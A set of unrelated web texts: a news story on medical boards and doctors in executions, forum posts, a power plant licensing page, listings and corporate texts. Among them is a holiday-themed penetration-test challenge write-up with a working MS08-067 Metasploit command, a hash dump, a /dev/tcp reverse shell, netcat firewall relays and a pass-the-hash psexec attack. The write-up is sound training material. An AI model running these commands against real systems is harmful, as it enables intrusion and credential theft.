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Doctors who aid in executions unlikely to face sanctions
■ Capital punishment opponents want medical boards to punish these physicians, but a new study finds that boards do not have the legal power to intervene.
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No U.S. medical board has disciplined a doctor for taking part in an execution, and that is unlikely to change, according to a new legal study.
The study, published in January in the Federation of State Medical Boards' Journal of Medical Licensure and Discipline, is believed to be the first to comprehensively review all state laws and regulations on doctors, medical boards and executions. The study found that only seven death-penalty states incorporate the American Medical Association's ethics code, which, among other things, bars physician participation in executions.
Nearly all capital punishment states specifically call for doctors to be involved in some way, the study said.
"There is this perception that many people, including judges, have that because of the AMA ethical code, doctors can't participate and won't participate in executions when the reality -- and we've learned this through the legal cases that have been brought -- is that doctors do participate and are willing to participate," said Ty Alper, who authored the study and is associate director of the University of California, Berkeley School of Law's Death Penalty Clinic. "The AMA guidelines are just that -- guidelines -- and not enforceable in most circumstances."
The AMA ethics policy on physician participation in executions, first issued in 1980 and last revised in 2000, states, "A physician, as a member of a profession dedicated to preserving life when there is hope of doing so, should not be a participant in a legally authorized execution." It is OK for physicians to certify a condemned inmate's death after it has been determined by someone else, and doctors may attend executions in a nonphysician role. But the policy says nearly any other death-chamber activity would violate the obligation to do no harm to patients.
The AMA confirmed that it has revoked one physician's membership "for participation in execution by lethal injection," according to a Dec. 19, 2007, article in the Journal of the American Medical Association.
Many other physician and health professional organizations have similar policies, but Alper said the AMA's position statement has been the most influential in courtrooms. Only two death-penalty states, Illinois and Kentucky, specifically bar doctors from the execution chamber.
The issue has come to the fore as attorneys representing death-row inmates have argued in court that the three-drug lethal-injection protocol used in all 35 death-penalty states except Ohio could, if botched, constitute "cruel and unusual punishment."
Prisoners might remain conscious after being insufficiently anesthetized with the barbiturate sodium thiopental while the paralytic agent pancuronium bromide and potassium chloride were administered, causing excruciating pain that would be invisible to the naked eye. Doctors should monitor brain-wave activity and help place intravenous lines to avoid botched executions, attorneys representing death-row inmates have said.
Push for board involvement
Meanwhile, death penalty opponents led by Sister Helen Prejean, author of Dead Man Walking, last year launched the Moratorium Campaign's Professional Ethics Initiative, petitioning medical boards to discipline physicians who participate in executions. Neither Prejean's office nor the Moratorium Campaign responded to American Medical News interview requests by this article's deadline.
Three cases involving medical boards previously have rebuked crackdown efforts on doctors, according to the study.
In 1996, a group of California doctors lost a bid to have a court force the state medical board to discipline doctors who participated in executions. A 2005 lawsuit asking Georgia's medical board to discipline a physician who acknowledged taking part in executions was dismissed for lack of standing. And a North Carolina Medical Board policy threatening discipline for physicians who took an active role in executions was overturned by the state's Supreme Court last year.
In the North Carolina case, the AMA filed a brief siding with the medical board. When the state's high court issued its decision, the Association expressed disappointment with the ruling.
Should the matter hit the courts again, a similar outcome is likely, Alper said.
"It can't be that the state medical board has some power to discipline doctors when they have the power to be [in the death chamber] under state law," Alper said. "It doesn't make sense that the [legislature] created the state medical board and that would trump the state's death penalty law."
Deborah W. Denno, a law professor at Fordham University in New York who has written extensively on doctors and the death penalty, agreed with Alper's findings. She said state medical boards lack a persuasive case to show that they should have the power to bar doctors from the death chamber, contradicting state law.
"They're not going to have a very strong argument for doing that, and that's been proven to be the case," Denno said.
Arthur Zitrin, MD, opposes the death penalty and was the lead plaintiff in the Georgia lawsuit against the state board, then called the Georgia Composite State Board of Medical Examiners. He acknowledged that his side faces an uphill battle but said that pushing medical boards to discipline physicians who participate in executions could draw attention to how capital punishment is carried out.
"We gave it our best shot in Georgia ... but I was never very optimistic about our chances," said Dr. Zitrin, professor emeritus of psychiatry at the New York University School of Medicine. "I'm not hopeful about it, but I'd certainly think that additional efforts along this line can influence public opinion and the opinion of legislators."
No state medical boards are considering any policies aimed at punishing physicians who participate in executions, according to a spokesman for the Federation of State Medical Boards. The federation does not have policy on whether medical boards should discipline physicians involved in executions.
In February, the American Board of Anesthesiology incorporated the AMA's policy on capital punishment into its own policy. ABA diplomates who aid executions could lose their board certification.
AMA Board of Trustees Chair Rebecca J. Patchin, MD, said she hopes other specialty boards and medical licensing boards "will follow in the ABA's footsteps."


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As a Rutgers Alumni, Chicago area resident, and fan of good defense, I'll be posting periodic updates on the promising young linebacker....
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I'm interested with the technical part of game design like the actual coding much more than the artsy stuff like graphics, story and what not.
Has anyone taken a similar course? I don't want to spend 4 hours a week sitting in a circle talking about stuff that is blatantly obvious like progression of difficulty.
If the course was going to actually teach me new concepts that are not obvious to anyone who has ever played a video game I would take it, but I'm not sure what it's going to be.
Here's a course overview for what it's worth (it doesn't yield much information.)


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Mr Page has arbitrarily decided that honey bees are now pests and as such are governed by the laws of Pest Control. This means that all wild bees are to be killed instead of taken to a bee yard where they can be managed and made into useful, productive pollinators and honey producers.
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Re: honestly, ps vita sucks right now
thx guys, im definately not giving up on the vita, i love sony to death i just think they kinda threw the vita out too early, and sony's been known to make alot of mistakes in the past. for all of those agitated at me for stating my opinion about the system, you guys really should take a chill pill. this is the internet where you can post whatever you want about anything you want, your typing in all caps and calling me names doesnt affect me at all, only proves you get mad at such petty things but on another note...im very hopeful for the vita, i loved the previous psp and im sure this one has big things in store for it as well ^_^
Re: honestly, ps vita sucks right now
well, you got one for freem go buy yourself some nice game, and also if by some change you see a dude mastorofpuppetz posting, feel free to report abuse since he's trolling, also take a look at our gaming club for the VIta http://uspgc.webs.com
Re: honestly, ps vita sucks right now
Dude, Im only going to say this once, The vita is fairly new so 1 it WILL have glitches and bugs and 2 every system goes thru a dry spell or start out slow. For example, the PS3 started out slow due to the fact that ppl were also complaining the price was 2 high or there wasnt enough games on it? Correct me if Im wrong, but give the Vita time and you will c it start to really take off.
And REALLY!? Ur complaining because of the lack of games? And you got a FREE Vita? Common dude, lighten up or just get off of here! There is no reason to be complaining like a 2 yr old!
Re: honestly, ps vita sucks right now
Viewtiful josh your lying i was on a team deathmatch with you on resistance burning skies the other day.
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Re: honestly, ps vita sucks right now[ Edited ]
Having just purchased a Vita (second hand) I don't feel as cheated since I paid almost half retail cost. I would never pay 250 for this thing. The 2 most inexcusable and I would go as far as saying irresponsible faults on Sony's part are:
1) No HDMI out. This system is touted as a mobile and portable gaming/media device. I travel alot for work and want to watch movies and play games, look at pictures etc on a large screen. Can't do it. Wow.
2) This is the inexcusable part, no internal storage?? In the age of 15 dollar 32GB MicroSD cards and 50 dollar 60GB SSDs to make a device like this with ZERO internal storage is completely unbelievable and frankly ignorant. Not to mention charging us 25 dollars for a measley 4gb proprietary-tastic memory card.
So no decent launch titles and the ones that are out are sub par...but to sell a 250 dollar device to play 20 year old PSOne games and re-released PSP titles? Its no suprise my Vita is on Kijiji for sale so I can get a tablet. Atleast I can play Need For Speed with the SAME quality as the Vita and it will only cost me 99 cents. To each his own but atleast I can say I bought, I tried, I'm done. Thanks Sony, but my money is better spent elsewhere.
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Re: honestly, ps vita sucks right now
Lets just leave this thread, like the previous Vita hate thread, just let this one die.
Esspesially if its coming from new Forum users of all people!!
If someone is complaining about the Vita, and its thier first post....
Dont Feed It.
Its not worth just signing in to your forum account for the first time just so we can hear about your dumb complaints.
Like what I said in the previous thread, give that Vita to a sick child in need or something. If you cant appreciate a free $250 - 300 dollar device given to you, there is just no pleasing you.
Good read, thanks. I truly tried to give the Vita a shot but its just missing the mark in a space where mobile gaming isn't exclusive to a "game machine"...theres some real and serious competition in this space now. I get that good titles can take time and who knows, maybe GTA V and Skyrim will make it here someday (here's hoping) ... but don't call it "console gaming on the go" ... be more specific and call it "15 year old console gaming on the go". I just struggle with why I would grab for my Vita when with the exception of 2 games...the rest are ALL playable on my PSP. You think they would have learned from the awful GO. Oh well, whats the internet without ranting, I tried it and now I'm selling it an moving on. Thats not to say I'll try it again one day....


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Question - How do you make the boards show the most recently replied threads in order, instead of when they were chronologically created?
Question - How do you make the boards show the most recently replied threads in order, instead of when they were chronologically created?
I can't figure out how to contact an administrator for help getting my user name back either. Said it was blocked from receiving private messages.
Thread display options? It keeps reverting to something I don't want. Can we set a default?
I think the problem might be that my previous user name is too long for the new boards. I don't mind changing it, but I want my old stats if possible.
Can a mod possibly help me? I had to create a new account because I could not activate my old one. I believe it is because I can't remember the email address that my old account was attached to. My old name was NHPGIANTSFAN. I have created a new account just adding a 1 to the end of it. Is there any way that I can get my old name back. I have been a member since 2006.
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[quote user="NYFan221"]eagles franchised jackson.
Exactly why he can be traded. I don't think it is far off. I actually made a thread mid season about the Eagles moving up and drafting Luck. They would love either IMO. Eagles could send Jackson, their 1st, one of their 2nds, and one of their 4ths, and maybe a 1st or 2nd next year, and that would do the trick.
Eagles would then be left with a pick in all rounds this season, including pick 2 for RG3 or Luck.


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Humboldt Bay Generating Station
Docket Number:
06-AFC-07 (Application For Certification)
06-AFC-7C (Compliance Proceeding)-->
Project Status: Licensed; In Compliance Phase. Operational: October 1, 2010.
The California Energy Commission approved this project's Application for Certification on September 24, 2008. The Commission monitors the power plant's construction, operation and eventual decommissioning through a compliance proceeding.
Committee that oversaw Original Licensing Proceeding:
Jeffrey D. Byron, Commissioner, Presiding Member
Karen Douglas, Commissioner, Associate Member
Hearing Officer: Gary Fay
Key Dates
- September 29, 2006 - Application for Certification (AFC) filed with California Energy Commission.
- November 8, 2006 - Commission accepts Application for Certification (AFC) as complete.
- 11/8/2006 - Commission Declares Application "data adequate."
- 11/29/2007 - Preliminary Staff Assessment is released.
- 5/15/2008 - Final Staff Assessment is released.
- 8/18/2008 - Presiding Members Proposed Decision is released.
- 9/24/2008 - Commission approves and licenses project.
- 10/1/2012 - Power plant on line and producing power.
On September 29, 2006, Pacific Gas and Electric Company (PG&E) submitted an Application for Certification (AFC) to construct and operate the Humboldt Bay Generating Station (HBRP) in the City of Eureka, Humboldt County. As part of our review process, the staff of the Energy Commission works closely with local, state and federal agencies to ensure that all laws, ordinances, regulations and standards are met and incorporated into the final decision of the California Energy Commission.
The proposed HBRP site would be located at 1000 King Salmon Avenue, Eureka, California. This project will be located on 5.4 acres within a 143-acre parcel currently occupied by the existing PG&E Humboldt Bay Power Plant. The HBRP will be a load following power plant consisting of ten (10) natural gas-fired Wartsila 18V50DF 16.3 megawatt (MW) reciprocating engine-generator sets and associated equipment with a combined nominal generating capacity of 163 MW. The HBRP will also be capable of running on California Air Resources Board (CARB)-certified diesel fuel in order to ensure local area reliability during instances of natural gas curtailment in the region as required by the California Public Utilities Commission (CPUC) and PG&E's CPUC Gas Tariff Rule 14. This project is a replacement of the existing 105 MW Units 1 and 2 and the two 15 MW Mobile Emergency Power Plants (MEPP) at PG&E's Humboldt Bay Power Plant site.
Air emissions from the proposed facility would be controlled using best available control technology applied to each engine's exhaust. Each system would consist of a selective catalytic reduction unit for oxides of nitrogen (NOx) control and an oxidation catalyst unit for carbon monoxide (CO) and volatile organic compounds (VOC) control. In order to be considered for licensing by the Energy Commission, the project would be required to conform with rules and regulations of the North Coast Unified Air Quality Management District (NCUAQMD) and be issued a Determination of Compliance from NCUAQMD.
The HBRP proposes using approximately 2,400 gallons of water per day (2.7 acre-feet/year) on average for cooling or other industrial purposes, which is a fraction of the water required for traditional combined-cycle turbine design. The generators will use an air radiator cooling system in a closed loop system (similar to automobiles). The HBRP will discharge industrial and sanitary wastewater into the Humboldt Community Services District (HCSD) sanitary sewer system at an average rate of about 860 gallons per day. Raw water for industrial processes and site landscape irrigation will be supplied from PG&E's existing ground water well via a direct connection to an onsite 6-inch-diameter water pipeline. Domestic water required for non-process uses (i.e., sinks, toilets, showers, drinking fountains, eye wash/safety showers, etc.) will be provided from a new 4- to 6-inch-diameter on-site pipeline running 1200 feet to a connection with the existing HCSD line that runs along King Salmon Avenue.
The project would be connected from the generators to the existing switchyard via two 60 kilovolt (kV) tie lines and one 115-kV tie line. No new transmission lines will be required. Natural gas would be supplied to the HBRP via an onsite 10-inch-diameter, high-pressure, natural gas pipeline owned and operated by PG&E.
Energy Commission Facility Certification Process
The California Energy Commission is the lead agency (for licensing thermal power plants 50 megawatts and larger) under the California Environmental Quality Act (CEQA) and has a certified regulatory program under CEQA. Under its certified program, the Energy Commission is exempt from having to prepare an environmental impact report. Its certified program, however, does require environmental analysis of the project, including an analysis of alternatives and mitigation measures to minimize any significant adverse effect the project may have on the environment.
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Skillz December 08 Winning Entry - Technical
Mark Baggett
Santa's Macintosh had received an IP address of 192.168.1.110. He fired up his virtual machines with bridged networking and ran a quick network scan to identify the hosts he saw on the network diagram using the following command.
#nmap –sV –n –PN 192.168.1.1/24
Several minutes later he had identified the following hosts on his network segment
192.168.1.10 Burgermeister's Jailmaster Laptop 192.168.1.20 Web1 Webserver with command execution vulnerability 192.168.1.30 Door1 computer with dooropen.exe 192.168.1.110 Santa's Macintosh
192.168.1.111 Santa's Virtual Linux machine
192.168.1.112 Santa's Virtual Windows Machine
Here is Santa's plan. He will use the existing login for the Burgermeister on his jailmasterlaptop to launch dooropen.exe on door1. If you don't specify credentials psexec will logon to the remote host using the currently logged on user. But Santa had a couple of obstacles to overcome first. First he needs an interactive session with the Burgermeister's currently logged on account. Then he needs to do some port hopping around firewall and iptables rules to hit the door1 with psexec. ?? VNC is a nice easy way to grab an interactive desktop and Metasploit is happy to provide. So Santa typed the following line: ??
./msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/vncinject/bind_tcp RHOST=192.168.1.10 E
??In one swift command he had the interactive desktop with the jailmasterlaptop From there he could easily could copy PSEXEC to der Burgermeister's machine and use his existing credential to open the door. Santa pressed ENTER on his metasploit attack and to his surprise found that the Burgermeister had logged off of his computer preventing him from carrying out his attack. The Wizard thought to himself, "If Santa had been paying attention earlier he would have known the Burgermeister had logged off". As Santa's mind churned to come up with plan B he sat and watch the Burgermeister's screensaver cycle through pictures of Burgermeister as a young man at 2600 meetings. Then, like a stomachache after a night of binging on cookies and milk, it hit him. He could pass the hash. He broke his attack into 4 phases.
1) Acquire hashes for the jailmaster account from Burgermeister's pc to use for a pass the hash attack on door1
2) Gain shell access to the Linux web server so we can use it as a relay to access door1
3) Setup Netcat Relays from Santa's Virtual windows box through his own Linux virtual machine and the web server to door1
4) Pull it all together and launch the attack. AKA: Use the stolen jailmaster hash, our netcat relays and psexec to run dooropen.exe
Step 1) Acquire Hashes from the Burgermeister's PC
Santa closed his VNC window and changed his payload to the meterpreter so that he could get a copy of the Burgermeisters hash using its hashdump feature. Santa changed his command to this:
./msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.1.10 E??
and saw this..
[*] Meterpreter session 1 opened (192.168.1.111:58220 -> 192.168.1.10:4444)
meterpreter >
Santa typed "use priv"
meterpreter > use priv
and get this response
[-] The 'priv' extension has already been loaded.
Since Santa had a newer version of Metasploit and his exploit has administrative access meterpreter.rb automatically loaded the priv module for him (http://trac.metasploit.com/changeset/5427) So Santa typed:
meterpreter > hashdump
And saw this (among the other smattering of default accounts)
Santa could tell right away that Burgermeister had renamed his default administrator account to jailmaster because of the 500 RID in the hashdump results. The Jolly old elf saved this information for later use. Right now he needed shell on the webserver.
Step 2) Gain Shell on the webserver.
Santa used the remote code execution vulnerability on the web server to shovel a bash shell back to himself using /dev/tcp
First Santa setup a netcat listener on his Virtual Linux computer.
nc –l –p 5500
Then he entered the following into the Address field of is firefox browser.
http://192.168.1.20?vulnerablepage.php? ... sh%20-i%20> /dev/tcp/192.168.1.111/5500%200<&1
Initially it appeared as though nothing happened. This command doesn't make the familiar bash prompt appear on the netcat listener, but it had in fact shoveled a bash prompt over /dev/tcp back to his virtual Linux host. Since it uses an outbound connection, the iptables rules did not prevent the connection. Now Santa had a shell on the Linux server and was ready to setup his netcat relays.
Step 3) Setup some netcat relay magic to bypass the firewalls and get the computers domain name from door1
As Kris looked at the network layout he gave a jolly chuckle. The Burgermeister wasn't using any egress filters on his Linux box. This meant he could use the uber-cool Netcat "Gender Bender" relays he had recently learned about at SANS training. Kris setup the following series of netcat relays:
On his Linux virtual machine (192.168.1.111) he typed the following command establishing a listener to listener netcat relay:
#mknod backpipe p
#nc –l –n –v -p 445 0<backpipe | nc –l –v -n –p 54000 > backpipe
A simpler version would be
# nc –lp 445 0<backpipe | nc –lp 54000 > backpipe
but previous experience had shown him that the "OPEN" and "CONNECTION FROM" messages generated by netcats verbose output (-v) are very helpful when troubleshooting timing issues that arise when using complex netcat relays.
On the shell he had previously shoveled over /dev/tcp from Linux webserver he prepared the following statements begin careful NOT to press enter on his netcat relay yet.
#mknod backpipe p
#nc –nv 192.168.1.30 445 0<backpipe | nc 192.168.1.111 54000 > backpipe
Because this uses two netcat clients which are tied together it will be unaffected by the iptables firewall running on the webserver. The netcat client will connect outbound on port 54000 to the waiting listener on his Linux box. At the same time it will connect to port 445 on door1. Kris knows that he has to use the netcat connection to the SMB service on the door1 server within a second or two of establishing the connection. So, he also prepared the following statement on his windows box at a command prompt.
C:\>Net use \\192.168.1.111\ipc$ /u:"" ""
This would connect to the netcat listener on his Linux box which is relayed through the netcat chains to the SMB listener on door1.
Then, working quickly to avoid a timeout, Kris pressed ENTER on his netcat client to client relay quickly followed by ENTER on his NET USE statement. His NET USE statement returned "Command Completed Successfully." Confirming the deed had been done and his relays worked. Santa then typed
C:\>nbtstat –A 192.168.1.111
The nbtstat command traverses the relays to Door1 and returns something like this:
Name Type Status
DOOR1 <00> UNIQUE Registered
WORKGROUP <00> GROUP Registered
Armed with his the domain name (WORKGROUP), the jailmaster hash, psexec and a successful netcat relay, Santa was ready to pull off the attack.
Santa tore down his netcat relay being sure to delete the existing SMB connection from his windows box that used the Null sessions. When he hit control-c on his netcat relay it tore down both his relay and his shell so he had to set everything back up. First Santa deleted his Null Session:
C:\>Net use \\192.168.1.111\ipc$ /delete
Then he set up his client to client relay exactly as he had before. First shoveling his shell over /dev/tcp, then setting up the exact same client to client relay being careful not to press enter yet. This time he would use the relay to connect with the jailmaster login. He prepared the following statement on his Windows box
C:\>Net use \\192.168.1.111\c$
With both of those commands typed and ready to be launched Santa needed to load the jailmaster hashes into memory to pull off his attack.
Step 4) Pulling it all together
Santa asked the wizard to download a copy of the Pass the Hash toolkit from Core Impact and provided him with this url:
The Windows binaries are only 179k and the wizard will have no trouble downloading it.
He put the pass the hash toolkit on his windows virtual machine and uses IAM-ALT.EXE to load the jailmaster hash into his computers memory. (IAM-ALT.EXE provides support for a wider range of operating systems and seems to be more reliable than IAM.EXE)
To load and use the credentials Kris needed to provide IAM-ALT.EXE with four pieces of data. He needs a username, a domain, an LM hash and an NTLM hash. He can use the username and hashes he got from the Burgermeister's laptop using meterpreter's hashdump. He will use the domain name he acquired earlier with nbtstat. Kris loaded his hashed password into his computers memory by typing the following on his virtual windows computer.
C:\>IAM-ALT.EXE –h jailmaster workgroup aad3b435b51404eeaad3b435b51404ee 5311fb075df1fe96efcbd51d6b9e0dcf
This loaded the jailmaster hash into the memory of LSASRV.DLL for his windows workstation to use. Windows will pass those credential over the series of netcat relays as follows:
Santa's Windows computer with the jailmaster hash ? Santas Linux box netcat listener on 445 ? Santas Linux box netcat listener on 54000 -> Netcat client on Webserver1 port 54000 -> Netcat Client on Webserver1 on port 445 -> SMB Server Service running on Door1
(Note that arrows represent the flow of the credentials once the TCP connections are established, not the direction in which the connections were established.)
Santa pressed enter on his Netcat relay on webserver1 followed quickly by enter on his NET USE statement and saw:
Command Completed Successfully.
He then typed the following command on his windows box
C:\>psexec \\192.168.1.111 dooropen.exe
The door opened.
Free from their bondage, Santa, Jessica and the wizard went straight to work. They installed all of the patches on the Burgermeister's laptop being careful not to overlook third party applications like Adobe reader, flash and Apple Quicktime. They installed Apache ModSecurity on web1 and configure a filter to prevent the command execution attack. Then they hardened its iptables rules restricting outbound connection to only stateful responses. He also setup an OSSEC on the Linux server to notify the Burgermeister via email when anyone made file system changes or attacked his webserver. Then Santa, being Santa, reconfigured the Burgermeister's computer so that it would dual boot between Windows and Linux. To make it easy for the Burgermeister Santa installed Backtrack3 on his other partition. Just as he finished the Burgermeister barged through the door screaming GUARDS ARREST THEM! When he got to his computer and saw want Santa had done, he began to cry. Burgermeister shared the story of how in the 90's he had tried his hand at wireless hacking. But he was a windows guy and recompiling the Linux kernel to add drivers that supported his Oronoco wireless card was just too much for him. Intimidated by those who understand things he could not, der Burgermeister decided to eliminate all hacking tools. Now, Santa, remote-exploit.org and Atheros had done the heavily lifting for him. As the Burgermeister ran Karmetasploit for the very first time his heart warmed. Santa explained that good security is about practicing defense in depth. He explained that only by patching his machine, hardening them and constantly monitoring would he ever achieve good security. If the Burgermeister had been monitoring for file system changes or hacking attempts he would have easily detected his hacking attempts. The Burgermeister thought to himself, "202c is a stupid law!!" It was immediately repealed and now Defcon is held every year Sombertown.
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Amazing flat in Como center
Size135 m²
Floor No.3
- Family/child friendly
- Internet/WiFi
- Kitchen
- Washer/dryer
- Towels
- Dishwasher
- Baby cot
Accommodation summary
|Rusconi, 22100 Como, Italy
|Property type
|Property ID
On request you can have cot, high chair and baby bath.
The apartment is very bright with a beautiful view of the city of Como and though it is centrally located is also very quiet thanks to double glazing and the very thick stone walls.
E 'enough to cross the street to find bars, restaurants and all the shops in the center. There are never any vehicles that may disturb since the entire historical center is barred to vehicular traffic.
Where is the apartment?
The apartment is located in the heart of Como, in the perfect location for both tourists and business travelers:
- Cathedral of Como (1 minute walk)
- Railway Station (4 minutes walk)
- Ferry (5 minutes walk)
- Lake Como (5 minutes walk)
- Highway (15 minutes away by car)
- Many local restaurants (2 minutes walk)
- Supermarket (2 minutes walk)
House rulesMy house is like yours for as long as you stay there.
I expect, therefore, that will treat the same way, and there will take care
- Please do not smoke (smokers are welcome to smoke outside the apartment, but not inside).
- Please respect the apartment and condominium.
- Pets are not allowed.
- No more than people in the ownership of those registered.
- Please leave the apartment as you found it.
|Weekly rate for up to 2 guests
|647 €
|Monthly rate for up to 2 guests
|1973 €
|Price for > 2 guests
|28 € per guest/night extra
|Check-in after
|Check-in before
|On arrangement
|Check-out before
|Cancellation Policy
Reviews of this property
Hello, we were very impressed. The apartment is beautiful, very well maintained and furnished with great taste. The owner is a very nice and helpful guy, we were picked up from the station and drop off. The location is superb, right in the middle and very picturesque in a medieval building. You have to climb a few steps, but this is the view great.
All-round success!
Hallo, wir waren sehr begeistert. Die Wohnung ist wunderschön, absolut gepflegt und liebevoll mit viel Geschmack eingerichtet. Der Vermieter ist ein sehr netter und hilfsbereiter Typ, wir wurden vom Bahnhof abgeholt und wieder hingebracht. Die Lage ist einmalig, mitten drin und sehr malerisch in einem mittelalterlichen Gebäude. Man muss ein paar Stufen steigen, aber dafür ist der blick toll.
Rundum alles gelungen!
We enjoyed our stay in Como. The apartment of Vladimiro is ideally located in the historic center but still quiet. Furthermore, many apartment space and has recently been renovated. Do not forget to climb to the 3rd floor. Parking is a bit difficult and expensive in Como.
Wij hebben genoten van ons verblijf in Como. Het appartement van Vladimiro is uitstekend gelegen in de historische binnenstad en toch rustig. Verder heeft appartement veel ruimte en is recent gerenoveerd. Wel even klimmen naar de 3e etage. Parkeren is wel wat lastig en duur in Como.
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I went to the presentation of Lonneke and Ronald regarding AquaLogic vs. Oracle, which was a really great presentation with a good overview and an objective comparison of both environments.
This mix session was 1 of the winning sessions for Oracle Open World and it's a hot topic nowadays of course.
What were the tools that were compared:
- Oracle BPA/Oracle BPEL PM vs. BEA ALBPM
- Oracle ESB vs. BEA ALSB
One of the first tips Lonneke has discussed was how to govern such a SOA Project using waterfall approach or not. She mentioned that bottom-up and top-down should be combined instead of sticking with one of both methodologies because when choosing one you would either have a load of services that weren't used, or a combined service with not enough granularity.
You need to think about an Enterprise Model, once you've defined that model, the high level architecture, you can start going into the business processes itself and the description of all the artefacts.
Trying to rush your business process analysis without a firm understanding of the enterprise model will spare you a lot of rework and of course a firm approach for as well the business as it department.
The comparison which was made by them, is put in their presentation slides, which will be made available by Oracle.
The main points I've written down (which maybe aren't all documented in the presentation).
Enterprise Architecture:
- Strength of Oracle BPA Suite: A Complete Architecture Tool for as well design as simulation as monitoring as execution (but for monitoring you need to use BAM (real-time monitoring on in-flight processes) and for execution you need BPEL (round tripping is supported)
- Weaknesses of Oracle BPA Suite: Representation of process in BPA and BPEL is different, you have a logical model of your process in BPMN and an execution model in BPEL, these don't match 1-on-1 (one could argue if this is really what you want because you're talking about 2 separate standards, one for modelling purposes and one for execution purposes)
- Strength of AL BPM: 1 representation of business process and execution is support by the runtime engine which trully gives you 1 view.
- Weaknesses of AL BPM: BPMN Spec isn't fully supported, AL uses proprietary coding and uses some sort of templating to put another flavor on your process model (uml view, bpmn view, …) + no abstraction available between system centric and human centric activities (kpi's) + no optimization of your business process possible because you don't have a context within your business process
Composite Services:
- Strengths of Oracle ESB (rebranded to Oracle Service Bus = OSB): Usage of JCA + adapters being provided (no ability for enrichment in a declarative way)
- Weaknesses of OSB: No native support for resource management (e.g. centralized XSD)
- Strengths of ALSB: Use a logical name for an XSD and not a physical location (let's you use a central repository for all your definitions) + ability to define generic transformations which can be used within different composite services
- Weaknesses of ALSB: only runs on Weblogic + adapters are technology driven and JCA isn't provided
I would really like to thank Ronald and Lonneke for the great presentation and the different demo's they provided during the session. I'm sure this session was of great value for many customers struggling with the very hot topic right now: what to choose ;o)


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When did movies first arrive in New Hampshire? Where did they play? Who presented them? Who saw them? When and where were the state's first movie theaters constructed? How did a transient new medium run by traveling showmen become one of the most popular and enduring pastimes of the 20th century? This program explores these questions and more as Jeffrey Klenotic presents examples from his ongoing research, which aims to produce a digital archive and interactive map charting every venue where movies played in the Granite State from the medium's origins in 1896 to the rise of television in the 1940s. Those attending will be welcome to share their own knowledge of local movie venues and their own memories of "going to the movies."
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|Jeff Klenotic
|Thursday May 08, 2014
|Sponsoring Organization:
|Pittsfield Historical Society
|Pittsfield, NH
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I don't understand why they give these prospects only about 4 hours sleep and then expect them to go out on the field and "wow" teams. I understand why some guys skip the process and wait for their pro day.
"You killed my family, and I don't like that kind of thing."
Regardless of Ogletree or not, its a big deal.. Like i said, people have wondered why this guy was in Sumlin's doghouse all yr and didn't play in bowl game, and theres grumblings, immaturity is the reason.. I got a friend who used to have to drive to springfield from my hometown every weekend for work, and had to be there at 6am, and would drink and party(my younger yrs were fun!!!lol), and get about 2-3hrs sleep , and be on time...
I dont know about what u do my friend, but in my hometown and my people, we take being on time for work and important interviews seriously.. We r*** each other if we catch wind of one missing a day of work or being late.lol


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Industrial Manufacturers are looking to emerging market economies as important markets in their own right. They offer clear opportunities for growth in a post downturn economy.
We think the reasons for this trend are clear. Infrastructure spend is on the rise. Existing customers are getting bigger. Sectors like mining, agriculture, and construction are key customers for industrial machinery and equipment makers, and in the emerging markets these areas are growing fast. Overall industrial production is growing, and as these economies get bigger, they'll also be the source of most new customers. Leading the way are the BRIC countries – Brazil, Russia, India and China – the focus of this report. In 2008 China and India each produced 111 new multinational companies (MNCs); we expect the number of new MNCs will continue to rise in both countries over the next decade or so with India overtaking China for the top position around 2018.1 The other two BRIC countries, Brazil and Russia, will also produce significant numbers of MNCs, as will Malaysia, Singapore and Korea.
Some companies are already earning major revenues from emerging markets. In this paper, we highlight some examples of manufacturing companies who are already building plants, working with local partners and governments, conducting research – and most importantly, generating significant sales – in key emerging markets. We take a look at why they've been successful, and what we think is likely to happen next.


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This is my 1st time trying to paint or building any kind of costume. I was happy with the way this was coming out up until I got to the part it all went wrong. My trouble started after I applied the matte coat I have some pic of the before and after. I think what happened here was in the spots that the matte was applied to thick cause the paint to bubble. Can anyone confirm this or should I try something different to take the gloss off? Any tips or hints are greatly appreciated.
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Children's craft days offered in Pequot Lakes
Do you have a little shopping to do, or just need a little break to get some holiday preparations done? Drop off your little "elves" with instructor Angie Wallin from 9 a.m. to 3 p.m. Saturdays, Dec. 7 and 21, at the former Pequot Lakes Community Education Building for a day filled with holiday crafting, playing, singing and reading.
This is open to ages 3-7. Children must be potty trained and must bring a bag lunch with a drink.
Fee is $20 per date (includes snacks and all crafting supplies). Discounts are available for siblings. A minimum number of five children is required per date.
Pre-registration is required. Contact Pequot Lakes Community Education at 568-9200.
The former community education building is at 4276 W. Lake St.


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Sustainability Commitments
We are committed to sustainability, and our commitment is anchored in the Credit Suisse Code of Conduct, the "Statement on Sustainability", and our "Sustainability Management Policy".
Code of Conduct
Our Code of Conduct provides a framework of principles for all our operations worldwide, which is binding on all employees and members of the Board of Directors. It also forms the basis of Credit Suisse's commitment to sustainability. It encompasses the obligation of Credit Suisse employees to take account of environmental and social impacts when making business decisions, and when managing Credit Suisse resources and infrastructure in the long term.
"Statement on Sustainability"
The "Statement on Sustainability" is based on our Code of Conduct and explains our aims with regard to balancing economic, environmental and social issues in our activities as a bank. We believe that our responsible approach to business is a decisive factor determining the long-term success of our bank.
"Sustainability Management Policy"
The responsibilities and processes for implementing sustainability issues within the bank are defined within our internal "Sustainability Management Policy".
All employees of Credit Suisse have an obligation to consider environmental and social issues in their professional activities and when taking business decisions. The following persons and groups are entrusted with the implementation and the monitoring of our sustainability commitments:
- The CEO is the most senior manager responsible for sustainability matters at Credit Suisse.
- The Reputational Risk Sustainability Committee (RRSC), which is composed of senior managers from the different divisions, including several members of the Executive Board, monitors the implementation of the bank's sustainability commitments. The Reputational Risk Sustainability Committee also has ultimate responsibility for the Reputational Risk Review Process, which is an internal process under which business transactions are reviewed and evaluated in terms of their potential impact on the environment and human rights, among other aspects. The Sustainability Affairs specialist unit is responsible for the coordination of activities in the area of sustainability, amongst other things. Key activities include conducting sustainability risk assessments and maintaining a dialogue with stakeholders.
- Global Environmental Management and Critical Engineering Systems, both part of the Corporate Real Estate and Services department, are responsible for the maintenance and further development of the ISO 14001-certified Environmental Management System, the day-to-day management of Credit Suisse's commitment to greenhouse gas neutrality, and the coordination of cross-regional projects aimed at reducing Credit Suisse's environmental footprint.
